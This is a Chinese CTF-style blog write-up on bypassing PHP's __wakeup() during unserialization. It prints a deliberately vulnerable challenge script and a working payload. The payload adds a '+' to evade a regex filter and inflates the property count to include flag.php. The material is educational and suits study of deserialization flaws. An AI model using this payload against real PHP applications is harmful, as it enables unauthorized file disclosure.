反序列化__wakeup()绕过

本文详细解释了PHP中__wakeup魔术方法的漏洞,当序列化字符串中的属性个数超出实际时,会跳过该方法的执行。作者通过实例展示了如何利用此漏洞绕过安全限制,以及修复建议。

据陈腾师傅所说:

漏洞产生原因:
如果存在——wakeup()方法,调用unserilze()方法前则线调用——wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会tiaoguo——wakeup()的执行。

也就是属性个数比你实际个数多。

但是限制很大,5<php<5.6&&<7php<7.0.1

举个例子:

o:4:"test":2:{s:2:"v1":s:6:"benben":s:2:"v2";s:3:"123";}

在这里如果test本来有wake()——魔术方法,但是我把2改成3,那就不会触发。

<?php
error_reporting(0);
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>

这里因为flag在flag.php但是我只要进行反序列化就会触发wake()魔术方法,使file=index.php,这不是我们要的,所以必须绕过它,这里直接复制前面代码,把file改为flag.php,进行反序列化,得到正常的pop链,之后再把   后面的数字加个正号,然后把属性加一,接下来URL编码就可以绕过。

代码:

<?php
class secret
{
    var $file = 'flag.php';
}
echo serialize(new secret());
$a='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
echo urlencode($a);

如下图:

一句话:绕过__wakeup()就三步走:

(1)拿到正常反序列化字符串

(2)在pop链O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}加入正号

(3)URL编码提交

当然了,在最后还得做一个小总结:__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

希望文章对大家能够有帮助!

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值